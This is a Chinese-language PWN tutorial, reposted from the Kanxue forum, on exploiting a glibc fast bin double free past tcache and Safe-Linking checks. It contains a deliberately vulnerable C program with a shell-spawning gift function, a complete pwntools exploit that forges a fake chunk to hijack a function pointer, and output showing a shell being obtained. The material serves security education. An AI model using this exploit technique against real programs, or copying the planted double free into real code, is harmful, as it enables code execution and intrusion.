对于fast bin来讲,如果fd上保持的地址被修改,就相当于chunk 1_0指向别的chunk,显然这个地址可以是任意可读可写的内存地址。

chunk 1_1 -> chunk 2 -> chunk 1_0
chunk_1_1->fd = xxx
chunk 1_1 -> chunk 2 -> chunk 1_0 -> xxx

tcahce和fast bin一样都是单向不循环链表,所以它们都会使用空指针作为结束符,检测不到空指针,那就会继续向后检索fd

_int_malloc遍历fast bin链表时,会判断数值是不是空指针是必然的,除了检查数值有没有和MALLOC_ALIGNMENT对齐,如果设置的数值没有对齐就会报错。

(gdb) bt
....
#5 0x00007ffff7e4d965 in malloc_printerr
#6 0x00007ffff7e50df4 in _int_malloc
#7 0x00007ffff7e51eaa in __GI___libc_malloc
......

if (misaligned_chunk (tc_victim))
malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");

修改chunk 1_0fd是跟MALLOC_ALIGNMENT对齐,也不代表就没有问题了,在函数tcache_put中,它会往fd chunk + 0x10bk chunk + 0x18两个位置写数据,你需要保证这两个内存区域都是可以的,不然会出现SIGSEGV异常。

(gdb) bt
#0 0x00007ffff7e5074d in tcache_put
#1 _int_malloc
#2 0x00007ffff7e51eaa in __GI___libc_malloc
......

tcache_put
-> tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
-> e->key = tcache_key;
-> e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);

在重复释放且chunk 1_0被修改条件下,关于fast bin中chunk迁入tcache的问题,你不会以为就这么解决了吧?

_int_malloc找不到空指针时是会一直向下进行遍历的,当PROTECT_PTR宏被启用时,fd上保存的数据需要进行反随机化。

如果你不能保证恶意地址xxx所指向的伪造chunk的fd所保存的数值yyy在经历随机化后变成0,那么程序大概率就又要崩溃了。

这是因为反随机后的地址,大概率是不能跟MALLOC_ALIGNMENT对齐的。

chunk 1_1 -> chunk 2 -> chunk 1_0 -> xxx
xxx->fb = yyy

tc_victim = yyy
if (misaligned_chunk (tc_victim))
malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");

从上面可以看到,在申请fast chunk时,如果让链表剩余的chunk进入tcache内,会造成很恶劣的后果,所以最好的办法就是填满tcache,避免chunk迁入tcache中。

如果tcache是满的,那申请也是从tcache里面获取chunk,不会进入fast chunk申请的分支当中,如果tcache是空的,那么申请chunk时(重复释放下链表中一定不止一个chunk),就必然会将链表中的其余chunk带入tcache中。

为了解决这个做也不是,不做也不是的问题,我们需要calloc这样的特殊接口,它与常见的malloc不同之处,在于malloc优先从tcache中获取chunk,而calloc只会通过_int_malloc中获取chunk。

对于fast chunk来讲,使用calloc接口时的优先级是高于tcache的。

__libc_malloc
-> size_t tc_idx = csize2tidx (tbytes);
-> if (tc_idx < mp_.tcache_bins && tcache != NULL && tcache->counts[tc_idx] > 0)
-> victim = tcache_get (tc_idx);
-> return tag_new_usable (victim);
-> victim = _int_malloc (ar_ptr, bytes);

__libc_calloc
-> mem = _int_malloc (av, sz);

针对chunk进行的大小检查

假如上面提到两个问题都不会造成影响了,但你不会就以为事情就这么结束了吧!

GLibC可比你考虑的周到的多!

_int_malloc函数进入从fast bin获取chunk的分支后,会先根据程序申请内存的大小nb获取其在fastbinsY数组中的索引值。

根据索引值取出链表中的头成员后,只要发现不是空指针,就通过REVEAL_PTR宏更新链表头,结束后会再次判断victim是否为空,如果不为空,就将victim地址上存储的mchunk_size取出,然后根据这个大小拿到它在fastbinsY数值中的索引值,如果申请大小所得索引值idx和取出chunk大小所得索引值victim_idx不匹配,就说明chunk是有问题的,这时GLibC会通过malloc_printerr抛出异常。

if ((nb) <= (get_max_fast ()))
-> idx = fastbin_index (nb);
-> mfastbinptr *fb = &fastbin (av, idx);
-> victim = *fb;
-> if (victim != NULL)
-> *fb = REVEAL_PTR (victim->fd);
-> if (victim != NULL)
-> size_t victim_idx = fastbin_index (chunksize (victim));
-> if (victim_idx != idx, 0)
-> malloc_printerr ("malloc(): memory corruption (fast)");

如果_int_mallocfast bin链表中获得到的地址是由你设置的恶意地址,那么就需要保证恶意地址的mchunk_size位置,存储着正确的大小。

2

示例讲解

下面给出了示例程序的源代码。

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>

#define CHUNK_MALLOC0
#define CHUNK_FREE1
#define TCACHE_CNT7
#define BYTE_LEN0x8
#define MEM_ADDR_LEN_IN_BYTES(sizeof(void*))
#define MEM_ADDR_REAL_LEN_IN_BYTES0x6
#define MEM_ADDR_LEN_IN_BITS(MEM_ADDR_LEN_IN_BYTES * BYTE_LEN)

#define my_PROTECT_PTR(pos, ptr)
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define my_REVEAL_PTR(ptr) my_PROTECT_PTR (&ptr, ptr)

typedef void(*func)(const char* msg);
typedef struct _msg_print {
char msg[0x40];
func output;
} msg_print;

msg_print msg_output;
char* tcache_chunks[TCACHE_CNT];

static void safe_linking_info_decrypt(unsigned long cipher)
{
int i, bits;
unsigned long key, plain;

fprintf(stderr, "enter %sn", __func__);

fprintf(stderr, "tcipher = 0x%lxn", cipher);
key = 0;
for(i = (MEM_ADDR_LEN_IN_BYTES - MEM_ADDR_REAL_LEN_IN_BYTES); i <= MEM_ADDR_LEN_IN_BYTES; i++) {
bits = MEM_ADDR_LEN_IN_BITS - BYTE_LEN * i;
if (bits < 0) {
bits = 0;
}

plain = ((cipher ^ key) >> bits) << bits;
key = plain >> 12;

fprintf(stderr,
"tstage %d: (((0x%016lx ^ 0x%016lx) >> %02d) << %02d)"
", plain = 0x%016lxn",
i, cipher, key, bits, bits, plain);
}

fprintf(stderr, "leave %sn", __func__);
}

static unsigned long safe_linking_info_decrypt_by_marco(unsigned long cipher_stored_addr)
{
unsigned long real_addr;

fprintf(stderr, "enter %sn", __func__);

fprintf(stderr, "tfd store at [0x%lx]n", cipher_stored_addr);
real_addr = my_REVEAL_PTR((*(unsigned long*)cipher_stored_addr));
fprintf(stderr, "tcipher = 0x%lx, plain = 0x%lxn",
*(unsigned long*)cipher_stored_addr, real_addr);

fprintf(stderr, "leave %sn", __func__);
}

static void chunks_malloc_or_free(const char* TAG, int type, char* chunks[], int cnt, unsigned long size)
{
int i;
char* tmp;

for(i = 0; i < cnt; i++) {
if (type == CHUNK_MALLOC) {
if (size == 0) {
fprintf(stderr, "alloc size error!n");

return;
}

tmp = (char*)malloc(sizeof(char) * size);
if (chunks && tmp) {
chunks[i] = tmp;
}
}
else if (type == CHUNK_FREE) {
if (chunks[i]) {
// variable without reset to null pointer
free(chunks[i]);
}
}
else {
fprintf(stderr, "%s: unknow type, cannot malloc or freen", TAG);
}
}
}

static void tcache_fill(void)
{
int i;
char* TAG = "tcache fill";

chunks_malloc_or_free(TAG, CHUNK_FREE, tcache_chunks, TCACHE_CNT, 0);
}

static void tcache_clear(void)
{
char* TAG = "tcache clear";

chunks_malloc_or_free(TAG, CHUNK_MALLOC, tcache_chunks, TCACHE_CNT, 0x30);
}

static unsigned long fast_bin_double_free_env_create(void)
{
char* TAG = "fastbin", * bad_chunk, * fast_chunks[3];
unsigned long cnt;

tcache_clear();
chunks_malloc_or_free(TAG, CHUNK_MALLOC, NULL, TCACHE_CNT, 0x30);

cnt = (sizeof(fast_chunks) / sizeof(char*));
chunks_malloc_or_free(TAG, CHUNK_MALLOC, fast_chunks, cnt, 0x30);

tcache_fill();

chunks_malloc_or_free(TAG, CHUNK_FREE, fast_chunks, cnt - 1, 0);
free(fast_chunks[0]);

return ((unsigned long)fast_chunks[0]);
}

static void gift_give(void)
{
system("/bin/sh");
}

static void tmp(const char* msg)
{
printf("%s: %sn", __func__, msg);
}

static void vuln(void)
{
int i;
char* chunks[4];

for (i = 0; i < 4; i++) {
chunks[i] = (char*)calloc(1, sizeof(char) * 0x30);

fprintf(stderr, "please input somethingn");
read(STDIN_FILENO, chunks[i], 0x30);
}

msg_output.output(msg_output.msg);
}

int main(void)
{
unsigned long free_fast_chunk_addr;
unsigned long aslr_adrr;

fprintf(stderr, "please input messagen");
read(STDIN_FILENO, msg_output.msg, 0x40);
msg_output.output = tmp;

free_fast_chunk_addr = fast_bin_double_free_env_create();
// p + offset(fd)
safe_linking_info_decrypt_by_marco(free_fast_chunk_addr);
// *(p + offset(fd)), p->fd
aslr_adrr = *(unsigned long*)free_fast_chunk_addr;
safe_linking_info_decrypt(aslr_adrr);

fprintf(stderr, "cipher: 0x%lxn", aslr_adrr);
vuln();

return 0;
}

源代码由三个部分组成,一是fast_bin_double_free_env_create帮助我们主动创建的重复释放环境,二是两个解密Safe-Linking机制产生的随机化数据,分别是根据密钥进行解密和根据密文进行解密。

最后一部分就是漏洞函数,漏洞函数会申请4个chunk,在当前fast bin链表中,存在着两个chunk 0和一个chunk 1

vuln第一次申请chunk时会获得chunk 0,改写chunk_0 + offset(fd)的位置会让另一个仍存在于fast bin链表的chunk 0不再指向chunk 2,而是指向你设置的恶意地址,考虑到vuln函数最后会调用msg_outputoutput函数,所以设置msg_output显然是个不错的选择。

vuln第四次申请申请chunk时,会获得第一次修改chunk时所设置的地址,如果你设置成了msg_output,那就可以修改output上的指针指向gift_give,完成利用并获得Shell。

exploit构造

通过上面的分析构造出下面的exploit。

import pwn
import sys

sys.path.append('../../MyTools')
import conversion

pwn.context.clear()
pwn.context.update(
arch = 'amd64', os = 'linux',
)

target_info = {
'exec_path': './fastbin_double_free_example',
'exec_info': None,
'addr_len': 0x8,
'mem_addr_len_in_bits': 0x40,
'gift_addr': 0x0,
'fake_chunk_addr': 0x0,
'fake_chunk_size': 0x40,
'aslr_key': 0x0,
}

def safe_linking_info_decrypt(aslr_addr):
key = 0
for i in range(2, target_info['addr_len'] + 1):
bits = target_info['mem_addr_len_in_bits'] - target_info['addr_len'] * i
if (bits < 0):
bits = 0
plain = ((aslr_addr ^ key) >> bits) << bits
key = plain >> 12
print(
'[--] stage {0}: ((({1} ^ {2}) >> {3}) << {4})'
', plain = {5}'.format(
i, hex(aslr_addr), hex(key), bits, bits, hex(plain)
)
)
target_info['aslr_key'] = key

target_info['exec_info'] = pwn.ELF(target_info['exec_path'])
target_info['gift_addr'] = target_info['exec_info'].symbols['gift_give']
target_info['fake_chunk_addr'] = target_info['exec_info'].symbols['msg_output']
print('[--] tips: fake chunk address = {0}'.format(hex(target_info['fake_chunk_addr'])))

# chunk 0 -> chunk 1 -> chunk 0
conn = pwn.process(target_info['exec_path'])

# fake chunk set
payload = pwn.p64(0)
payload += pwn.p64(target_info['fake_chunk_size'])
conn.sendafter(b'please input messagen', payload)

conn.recvuntil(b'cipher: ')
leak_data = conn.recvuntil(b'n')
aslr_chunk_addr = conversion.str2int(leak_data[:-1])
print('[++] chunk [ASLR] address = {0}'.format(hex(aslr_chunk_addr)))
safe_linking_info_decrypt(aslr_chunk_addr)

# chunk1 overwrite chunk_1's fd
payload = pwn.p64(target_info['fake_chunk_addr'] ^ target_info['aslr_key'])
conn.sendafter(b'please input somethingn', payload)

# chunk 0
conn.sendafter(b'please input somethingn', b'chunk 0')

# chunk 1
conn.sendafter(b'please input somethingn', b'chunk 1')

payload = pwn.p64(target_info['gift_addr'])
# chunk bad overwrite chunk_bad->fd
conn.sendafter(b'please input somethingn', payload)

conn.interactive()

成功PWN

运行上方的exploit后就可以成功获取Shell。

[*] './fastbin_double_free_example'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
[--] tips: fake chunk address = 0x404080
[+] Starting local process './fastbin_double_free_example': pid 85827
[**] strings: b'0x1b512359'
[**] hex: 0x1b512359
[++] chunk [ASLR] address = 0x1b512359
[--] stage 2: (((0x1b512359 ^ 0x0) >> 48) << 48), plain = 0x0
[--] stage 3: (((0x1b512359 ^ 0x0) >> 40) << 40), plain = 0x0
[--] stage 4: (((0x1b512359 ^ 0x0) >> 32) << 32), plain = 0x0
[--] stage 5: (((0x1b512359 ^ 0x1b000) >> 24) << 24), plain = 0x1b000000
[--] stage 6: (((0x1b512359 ^ 0x1b500) >> 16) << 16), plain = 0x1b500000
[--] stage 7: (((0x1b512359 ^ 0x1b509) >> 8) << 8), plain = 0x1b509600
[--] stage 8: (((0x1b512359 ^ 0x1b509) >> 0) << 0), plain = 0x1b509650
[*] Switching to interactive mode
$ id
uid=1000(astaroth) gid=1000(astaroth) groups=1000(astaroth),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),114(bluetooth),117(lpadmin),121(scanner)
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './fastbin_double_free_example' stopped with exit code 0 (pid 85827)
[*] Got EOF while sending in interactive

PWN入门:FastBin与DoubleFree降妖

看雪ID:福建炒饭乡会

https://bbs.kanxue.com/user-home-1000123.htm

*本文为看雪论坛精华文章,由 福建炒饭乡会 原创,转载请注明来自看雪社区

原文始发于微信公众号(看雪学苑):PWN入门:FastBin与DoubleFree降妖

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月12日20:04:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PWN入门:FastBin与DoubleFree降妖https://cn-sec.com/archives/4056185.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息